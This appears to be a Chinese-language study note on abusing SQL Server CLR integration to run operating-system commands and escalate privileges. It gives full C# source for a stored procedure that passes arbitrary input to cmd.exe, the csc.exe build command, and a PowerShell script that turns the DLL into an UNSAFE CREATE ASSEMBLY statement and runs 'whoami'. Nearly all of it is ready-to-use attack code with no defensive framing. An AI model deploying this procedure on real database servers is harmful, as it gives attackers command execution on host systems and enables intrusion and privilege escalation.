[大数据] sqlserver clr学习

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[大数据]sqlserver clr学习

利用sqlserver clr提权或者执行命令

准备源文件C:\cmd_exec.cs:

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmd_exec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

        // Create the record and specify the metadata for the columns.
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));

        // Mark the beginning of the result set.
        SqlContext.Pipe.SendResultsStart(record);

        // Set values for each column in the row
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());

        // Send the row back to the client.
        SqlContext.Pipe.SendResultsRow(record);

        // Mark the end of the result set.
        SqlContext.Pipe.SendResultsEnd();

        proc.WaitForExit();
        proc.Close();
    }
};

1 寻找csc.exe安装路径

Get-ChildItem -Recurse "C:\Windows\Microsoft.NET\" -Filter "csc.exe" | Sort-Object fullname -Descending | Select-Object fullname -First 1 -ExpandProperty fullname

2 使用csc.exe编译cs成dll文件

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /out:C:\cmd_exec.dll C:\cmd_exec.cs

3 转成16进制

# Target file
$assemblyFile = "c:\cmd_exec.dll"

# Build top of TSQL CREATE ASSEMBLY statement
$stringBuilder = New-Object -Type System.Text.StringBuilder 
$stringBuilder.Append("CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM `n0x") | Out-Null

# Read bytes from file
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
    $stringBuilder.Append($byte.ToString("X2")) | Out-Null
}

# Build bottom of TSQL CREATE ASSEMBLY statement
$stringBuilder.AppendLine("`nWITH PERMISSION_SET = UNSAFE") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null

# Build create procedure command
$stringBuilder.AppendLine("CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null

# Create run os command
$stringBuilder.AppendLine("EXEC[dbo].[cmd_exec] 'whoami'") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null

# Create file containing all commands
$stringBuilder.ToString() -join "" | Out-File c:\temp\cmd_exec.txt